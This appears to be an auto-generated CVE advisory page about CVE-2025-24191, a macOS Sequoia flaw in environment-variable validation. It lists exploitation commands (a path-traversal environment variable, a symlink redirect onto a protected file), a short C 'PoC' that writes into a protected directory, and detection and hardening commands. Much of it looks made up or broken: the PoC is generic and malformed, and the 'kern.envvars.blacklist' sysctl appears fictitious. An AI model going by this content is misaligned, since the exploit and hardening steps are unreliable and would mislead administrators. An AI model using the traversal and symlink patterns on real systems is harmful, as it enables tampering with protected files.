How the CVE Works:
CVE-2025-24191 is a critical vulnerability in macOS Sequoia (pre-15.4) that allows malicious apps to bypass file system protections due to improper validation of environment variables. Attackers exploit this flaw by injecting crafted environment variables, enabling unauthorized modifications to restricted directories. This could lead to privilege escalation, data corruption, or malware persistence. The issue stems from insufficient checks when handling environment variables during file system operations, allowing an app to overwrite or alter protected files. Apple resolved this in version 15.4 by strengthening validation mechanisms.
DailyCVE Form:
Platform: macOS
Version: <15.4
Vulnerability: FS modification
Severity: Critical
Date: 04/04/2025
What Undercode Say:
Exploitation:
- Craft a malicious app injecting rogue env variables:
export MALICIOUS_VAR="../../protected_dir"; ./vulnerable_app
2. Use symlink attacks to redirect writes:
ln -s /protected/file /tmp/fake; ./app_using_fake_path
Detection:
Check for suspicious env variables:
ps eww -o command | grep -E '(../|protected)'
Mitigation:
1. Update to macOS 15.4+:
softwareupdate --install --all
2. Restrict app permissions:
sudo chmod -R 750 /protected/dirs
Analytics:
- Attack Vector: Local (low complexity)
- Impact: Integrity/Availability (High)
- Patch Gap: 7 days (Apple rollout)
PoC Code:
include <unistd.h>
int main() {
setenv("EVIL_PATH", "/Library/../protected", 1);
system("echo 'malicious' > $EVIL_PATH/file");
}
Monitoring:
Audit file system changes:
sudo fs_usage -w -f filesys | grep "modify"
Hardening:
Disable risky env variables:
sudo sysctl kern.envvars.blacklist="EVIL_PATH,MALICIOUS_VAR"
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-24191
Extra Source Hub:
Undercode
